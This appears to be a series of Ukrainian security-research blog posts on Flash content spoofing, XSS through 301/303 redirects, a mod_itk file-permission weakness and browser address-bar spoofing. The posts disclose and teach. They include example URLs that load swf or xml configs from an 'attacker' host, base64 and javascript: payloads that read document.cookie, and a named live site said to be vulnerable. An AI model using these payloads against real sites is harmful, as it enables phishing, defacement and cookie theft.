Websecurity - Веб безпека

Пропоную вам другу статтю на тему Content Spoofing атак, в якій розповім про просунутий Content Spoofing (Advanced Content Spoofing). Якщо в першій статті про Content Spoofing атаки, я навів два простих різновиди CS атак - Link Injection та Text Injection, то зараз я розповім про просунутий CS. Це повна заміна контенту.

Якщо у Link Injection та Text Injection уразливостях відбувалася часткова підміна вмісту, то в у випадку даних уразливостей має місце повна заміна контенту. Просунутий Content Spoofing можна розділити на два різновиди: Content Injection (включення різного медійного контенту) і Site Injection (включення цілого сайта).

Зазначу, що Content Injection атаки можливі як при включенні до html сторінок (якщо веб додаток дозволяє включення зображень чи інших медійних файлів з інших сайтів), так і до флеш файлів. А Site Injection атаки насамперед можливі при включенні до флеш файлів. Всі приклади я наведу стосовно атак на flash додатки.

Content Injection.

Content Injection атаки передбачають включення різного медійного вмісту з зовнішнього сайта. Такого як зображення, відео, аудіо, флеш. Окрім цього можливе включення лінків або тексту. Але якщо у попередніх різновидах CS це був основний напрямок атаки, то у випадку комплексної атаки, включення лінків і тексту - це лише додатковий елемент для більш повного контролю над вмістом. Атака призводить до заміни контенту в рамках окремого елементу сайта (наприклад, флеш відео плеєра).

Хорошим прикладом Content Injection є уразливості у флеш відео плеєрах, про які я писав за останні два роки. Таких плеєрів як FLV Player, flvPlayer, JW Player і JW Player Pro. Зокрема лише одних флешек JW Player, за інформацією Google, в Інтернеті існує близько 7,7 мільйонів.

Підміна вмісту плеєра в FLV Player:

http://site/player_flv.swf?flv=http://attacker/1.flv&startimage=http://attacker/1.jpg

Через всі ці плеєри можна проводити підміну окремих параметрів, так і комплексну атаку для підміни одразу багатьох параметрів. Щоб повністю контролювати вміст флеш відео плеєру. В FLV Player підтримується файл конфігурації в форматах xml і txt, а в flvPlayer, JW Player, JW Player Pro в форматі xml. А також деякі плеєри підтримують файли плейлістів та скіни (FLV Player підтримує jpg-скіни, а обидві версії JW Player підтримують swf-скіни).

Для обох версій JW Player підміна вмісту через файл конфігурації буде виглядати наступним чином:

http://site/jwplayer.swf?config=http://attacker_site/1.xml

Вміст файлу 1.xml:

<config>
  <file>1.flv</file>
  <image>1.jpg</image>
</config>

Site Injection.

Site Injection - це включення цілого сайта в інший сайт. Дана атака призводить до повної заміни контенту сайта (до його повного дефейсу). Вона відбувається через підміну файла конфігурації флешки (в форматі xml), подібно до вищеописаних атак на флеш відео плеєри. В даному випадку відбувається повний контроль не лише над плеєром, а над цілим сайтом (зокрема флеш сайтом).

Можливі два варіанта атаки:

1. Коли можна вказати флешку для включення з зовнішнього сайта (тобто file.swf виступає контейнером, в який завантажується основний вміст флеш-сайта):

http://site/file.swf?content=http://attacker/1.swf

Прикладом такої уразливості є Remote Flash Inclusion на www.banner.kiev.ua знайдена мною 26.04.2009.

2. Коли можна вказати файл конфігурації з зовнішнього сайта:

http://site/file.swf?config=http://attacker/1.xml

Приклад такої уразливості я знайшов 26.01.2011 на сайті ionsky.com.sg. Для атаки потрібно створити xml-файл конфігурації подібний до http://ionsky.com.sg/xml/site.xml.

http://ionsky.com.sg/main.swf?siteXML=http://attacker/1.xml

В файлі конфігурації можна вказати адреси всіх необхідних ресурсів (swf, музика, зображення і текст), що будуть міститися на сайті нападника (деякі ресурси можна взяти навіть з основного сайта). І таким чином повністю підмінити контент сайта.

Дані Content Spoofing уразливості можуть використовуватися для фішинга та інших атак. В деяких випадках можливі XSS атаки.

Продовжуючи розпочату традицію, після попереднього відео про URL Spoofing в Mozilla Firefox, пропоную нове відео на веб секюріті тематику. Цього разу відео про URL Spoofing в Opera. Рекомендую подивитися всім хто цікавиться цією темою.

Opera Address Bar Spoofing

В ролику демонструється Address Bar Spoofing уразливість в браузері Opera. Спочатку в адресному рядку відображується одна адреса, потім у цьому самому вікні відображується інша адреса та сторінка іншого сайта, при цьому залишається іконка від попереднього сайта. Хоча це значно менша підробка ніж у подібних уразливостях в інших браузерах, але це може бути використано для фішинга.

Атака відбувається при відвідуванні в Opera спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Продовжуючи розпочату традицію, після попереднього відео про URL і SSL Spoofing в Google Chrome, пропоную нове відео на веб секюріті тематику. Цього разу відео про URL Spoofing в Mozilla Firefox. Рекомендую подивитися всім хто цікавиться цією темою.

Mozilla Firefox 3.5.4 Url Spoofing

В ролику демонструється URL Bar Spoofing уразливість в браузері Mozilla Firefox (дана уразливість вже виправлена Мозілою). Спочатку в адресному рядку відображується одна адреса, потім у вікні відображується інша адреса (https://google.com), при цьому у вікні розміщується вміст сторінки нападника.

Атака відбувається при відвідуванні в Firefox спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Продовжуючи розпочату традицію, після попереднього відео про різні підходи до безпеки, пропоную нове відео на веб секюріті тематику. Цього разу відео про URL і SSL Spoofing в Google Chrome. Рекомендую подивитися всім хто цікавиться цією темою.

Google Chrome 14 URL SSL TLS Spoofing

В ролику демонструється URL Bar Spoofing та SSL Spoofing уразливість в браузері Google Chrome. Раніше я наводив приклади окремо підробки URL і окремо підробки SSL сертифікату, а це комбінована атака. Дана уразливість дозволяє підробити URL в адресному рядку браузера та інформації про SSL сертифікат (що може бути використано для проведення фішинг атак). Спочатку в адресному рядку відображується одна адреса, потім у вікні відображується інша адреса, а потім у вікні розміщується вміст сторінки нападника (при збереженні адреси попереднього сайта і статусу SSL з відповідним індикатором).

Атака відбувається при відвідуванні в Chrome спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• BeEF
• Cross-origin resource sharing
• Timeline of computer security hacker history
• IT risk
• Information security

В презентації Web Application Security Tutorial, Neil Matatall наводить навчальний посібник з безпеки веб додатків. Він розповідає про ризики уразливостей у веб додатках та про необхідність слідкувати за їх безпекою. Подібні посібники сприяють навчанню веб розробників та власників сайтів основам безпеки.

У вересні, 16.09.2012, коли я виявив, що Mozilla приховано виправила два вектори атаки через редиректори (зі статусом 302), про які я розповідав в 2009 році в своїх адвізорі та статті Cross-Site Scripting атаки через редиректори, я також звернув увагу, що деякі XSS атаки працюють і при інших статусах. Тому я вирішив перевірити різні браузери на предмет XSS атак через редиректори з кодами статусу 301 і 303. Раніше я дослідив тільки refresh-редиректори і 302 location-редиректори (а 301 редиректори дослідив лише в атаці №3 через data: URI), а зараз вирішив доповнити це дослідження новою інформацією.

І я виявив Cross-Site Scripting уразливості в браузерах Mozilla Firefox та Opera. Атака відбувається через заголовок location при статусах 301 і 303. Браузери IE6, IE7, IE8 та Chrome невразливі. Атаки через інші 30x статуси не працюють.

Атака №1:

При запиті до скрипта на сайті:
http://site/script.php?param=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Що поверне у відповіді 301 код:

HTTP/1.1 301 Moved Permanently
Location: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

Або поверне у відповіді 303 код:

HTTP/1.1 303 See other
Location: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+

Атака працює в Firefox 3.0.19, 3.5.19, 3.6.28, 10.0.7, 15.0.1 та Opera 10.62 без доступу до кукісів.

Атака №2:

При запиті до скрипта на сайті:
http://site/script.php?param=javascript:alert(document.cookie)
Що поверне у відповіді 301 код:
HTTP/1.1 301 Moved Permanently
Location: javascript:alert(document.cookie)
Або поверне у відповіді 303 код:
HTTP/1.1 303 See other
Location: javascript:alert(document.cookie)

Атака працює в Opera 10.62 (як Strictly social XSS) без доступу до кукісів.

Продовжуючи розпочату традицію, після попереднього відео про DoS атаки через хеш функції BCrypt і SHA, пропоную нове відео на веб секюріті тематику. Цього разу відео про різні підходи до безпеки. Рекомендую подивитися всім хто цікавиться цією темою.

Secure By Design Vs. Security Through Obscurity Vs. Secure In Deployment

В даному ролику розповідається про безпеку різних ОС (яка з них безпечніша) та різні підходи до безпеки. Такі як Secure By Design, Security Through Obscurity та Secure In Deployment.

Автор відео ролика наголошує, що по замовчуванню у кожній ОС є ризики безпеки. І що найбільший рівень безпеки на будь-якій платформі можна досягти лише при її секюрному впровадженню (тобто визначальними є налаштування системи і політики безпеки). Те саме відноситься і до веб серверів. Рекомендую подивитися дане відео для розуміння відмінностей в різних підходах до безпеки.

На початку лютого 2012 року я виявив цікавий метод атаки на веб сайт через mod-itk. Модуль для Apache mod_itk (mpm-itk) застосовується для покращення безпеки веб сервера. Він використовується на віртуальних хостінгах і його призначення - запуск веб сервера для кожного віртуального хоста під вказаним User і Group. І при невірній конфігурації веб сервера, це можна використати для атаки.

Цей модуль використовується на сервері мого хостера і у лютому я виявив значну проблему безпеки пов’язану з mod_itk (я звернув на неї увагу ще в січні, а в лютому детально дослідив цю нестандартну поведінку). І після мого повідомлення, хостер виправив конфігурацію для покращення безпеки.

Суть атаки полягає в тому, що при використанні на сервері mod_itk, можна редагувати файли навіть при правах 644 (чого не можна зробити при звичайних умовах, за виключенням файлів, згенерованих самим веб сервером). Тобто звичайні read-only файли зі стандартними правами 644 (що мають всі файли після завантаження їх по FTP) можна редагувати.

І відповідно у адмінках движків, що мають функції редагування (таких як WordPress), можна відредагувати будь-які файли, в тому числі й php-скрипти. Що призведе до виконання коду, якщо нападник отримає доступ до адмінки такого движка. При тому, що апріорі файли мали права, які повинні були захистити від даної атаки. Таким чином на сервері створюється бекдор. Це потрібно враховувати при використанні mod_itk (mpm-itk) на сервері.

У червні я повідомив про цю особливість mod-itk його автору і розробникам Apache. За словами автора модуля, подібна поведінка пов’язана з конфігурацією веб сервера (мій хостер зробив стандартні налаштування, а потрібно було спеціальним чином налаштувати веб сервер). Тому обов’язково вивчайте документацію при встановленні будь-якого модуля до веб сервера й особливо mod-itk, і робіть безпечні налаштування. Тоді у вас не виникнуть проблеми з безпекою.

Продовжуючи розпочату традицію, після попереднього відео про DoS через колізії хеш функцій в PHP, пропоную нове відео на веб секюріті тематику. Цього разу відео про DoS атаки через хеш функції BCrypt і SHA. Рекомендую подивитися всім хто цікавиться цією темою.

DDoS Hacking On Sites With Poorly Implemented BCrypt And SHA Hashing

В продовження минулого відео стосовно атак на хеш функції, пропоную новий ролик, причому цього разу атака відбувається без використання колізій хешів. В ролику розповідається про DoS атаку на веб сайти, де використовуються хеш функції BCrypt і SHA. При відправленні великого обсягу даних, що буде захешований, можна навантажити процесор сервера.

Атака відбувається під час відправлення спеціальних запитів веб серверу з веб додатками, що використовують такі хеш функції, як BCrypt і SHA. Рекомендую подивитися дане відео для розуміння векторів атак на сайти.